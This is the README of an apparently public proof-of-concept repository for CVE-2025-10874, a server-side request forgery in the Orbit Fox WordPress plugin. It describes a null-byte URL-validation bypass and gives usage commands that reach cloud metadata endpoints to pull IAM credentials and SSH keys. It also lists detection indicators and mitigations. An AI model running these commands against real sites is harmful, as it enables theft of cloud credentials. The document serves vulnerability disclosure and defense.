CVE-2025-10874 PoC — Orbit Fox < 3.0.2 - Author+ Server-Side Request Forgery

Description

Demonstrates SSRF with null byte injection bypass for CVE-2025-10874

Readme

![alt text](https://github.com/ryanmroth/Orbit-Fox_SSRF_CVE-2025-10874/blob/main/cover.png?raw=true)

# CVE-2025-10874 - Orbit Fox SSRF Proof of Concept

Proof of concept exploit demonstrating Server-Side Request Forgery (SSRF) vulnerability in the Orbit Fox WordPress plugin with null byte injection bypass.

Detailed blog post: [https://ryanmroth.com/articles/orbit-fox-ssrf](https://ryanmroth.com/articles/orbit-fox-ssrf)

## Vulnerability Details

| Detail  | Notes |
| ------------------------ | ------------------------------------------------------------------------------------------------------ |
| **CVE ID:**              | [CVE-2025-10874](https://www.cve.org/CVERecord?id=CVE-2025-10874)                                      |
| **Affected Plugin:**     | Orbit Fox by ThemeIsle                                                                                 |
| **Vulnerability Type:**  | Server-Side Request Forgery (SSRF) (CWE-918)                                                           |
| **CVSS Score:**          | [5.5 (medium)](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N) |
| **Required Privileges:** | Author+ (WordPress Author role or higher                                                               |
| **Fixed Version**        | 3.0.2+                                                                                                 |

### Description

The Orbit Fox plugin's MyStock import functionality contains an SSRF vulnerability that allows authenticated users with Author+ privileges to make arbitrary HTTP requests from the WordPress server. The vulnerability exists in the `handle-request-mystock-import` AJAX action, which fails to properly validate and sanitize URL parameters.

The exploit leverages a **null byte injection bypass** (`%00.txt`) to circumvent URL validation, enabling access to internal metadata services, cloud provider APIs, and other network resources accessible from the server.

## Common Attack Scenarios

### AWS EC2 Metadata Extraction
- **Instance hostname:** `http://169.254.169.254/latest/meta-data/hostname`
- **IAM credentials:** `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
- **SSH public keys:** `http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key`

## Installation

### Requirements
- Python 3.7+
- `requests` library
- `urllib3` library

### Setup

```bash
# Clone the repository
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874

# Install dependencies (using uv)
uv sync

# Or using pip
pip install requests urllib3
```

## Usage

### Basic Usage

```bash
# Extract AWS instance hostname (default target)
python orbit_fox_poc.py http://target.com -u author -p password123

# Specify custom SSRF target URL
python orbit_fox_poc.py http://target.com -u author -p password123 \
  -s http://169.254.169.254/latest/meta-data/hostname
```

### Advanced Examples

```bash
# Extract IAM role credentials
python orbit_fox_poc.py http://target.com -u author -p password123 \
  -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract SSH public key
python orbit_fox_poc.py http://target.com -u author -p password123 \
  -s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

# Test without null byte bypass (will fail on patched versions)
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte

# Enable debug output for troubleshooting
python orbit_fox_poc.py http://target.com -u author -p password123 --debug
```

### Command-Line Options

```
positional arguments:
  target                Target WordPress URL (e.g., http://example.com)

required arguments:
  -u, --username        WordPress username (Author+ role required)
  -p, --password        WordPress password

optional arguments:
  -h, --help            Show help message and exit
  -s, --ssrf-url        URL to request via SSRF
                        (default: http://169.254.169.254/latest/meta-data/hostname)
  --no-nullbyte         Disable null byte bypass (test basic SSRF only)
  --debug               Enable debug output for troubleshooting
```

## How It Works

1. **Authentication:** Authenticates to WordPress using provided credentials
2. **Nonce Retrieval:** Extracts security nonce from WordPress admin panel
3. **Null Byte Injection:** Appends `%00.txt` to the target URL to bypass validation
4. **SSRF Execution:** Sends crafted request to `handle-request-mystock-import` AJAX endpoint
5. **Content Retrieval:** Fetches and displays the retrieved content from WordPress media library

## Detection

### Log Indicators
- Unusual outbound HTTP requests to metadata services (169.254.169.254)
- Requests to `admin-ajax.php` with action `handle-request-mystock-import`
- WordPress media library uploads from internal/metadata URLs

### Mitigation
- Update Orbit Fox to version 3.0.2 or later
- Implement strict egress filtering on the WordPress server
- Monitor and restrict access to cloud metadata endpoints
- Review user roles and limit Author+ privileges

## Responsible Disclosure

This vulnerability was responsibly disclosed to the vendor and has been patched in Orbit Fox version 3.0.2. This proof of concept is provided for:
- Security research and testing
- Vulnerability assessment of authorized systems
- Educational purposes

## Legal Disclaimer

**FOR AUTHORIZED SECURITY TESTING ONLY**

This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Users must:

- Obtain explicit written permission before testing
- Only use on systems you own or have authorization to test
- Comply with all applicable laws and regulations

The author assumes no liability for misuse of this tool.

## References

- **Original Vulnerability** [Alex Sanford](https://x.com/alex_sanford1) – [CVE-2023-2287](https://www.cve.org/CVERecord?id=CVE-2023-2287)
- **CVE Details:** [CVE-2025-10874](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10874)
- **Plugin Repository:** [Orbit Fox by ThemeIsle](https://wordpress.org/plugins/themeisle-companion/)
- **AWS Metadata Service:** [Instance Metadata Service](https://docs.aws.amazon.com/AMZN/latest/UserGuide/ec2-instance-metadata.html)

---

**Last Updated:** 2025-10-06

File Snapshot

Remarks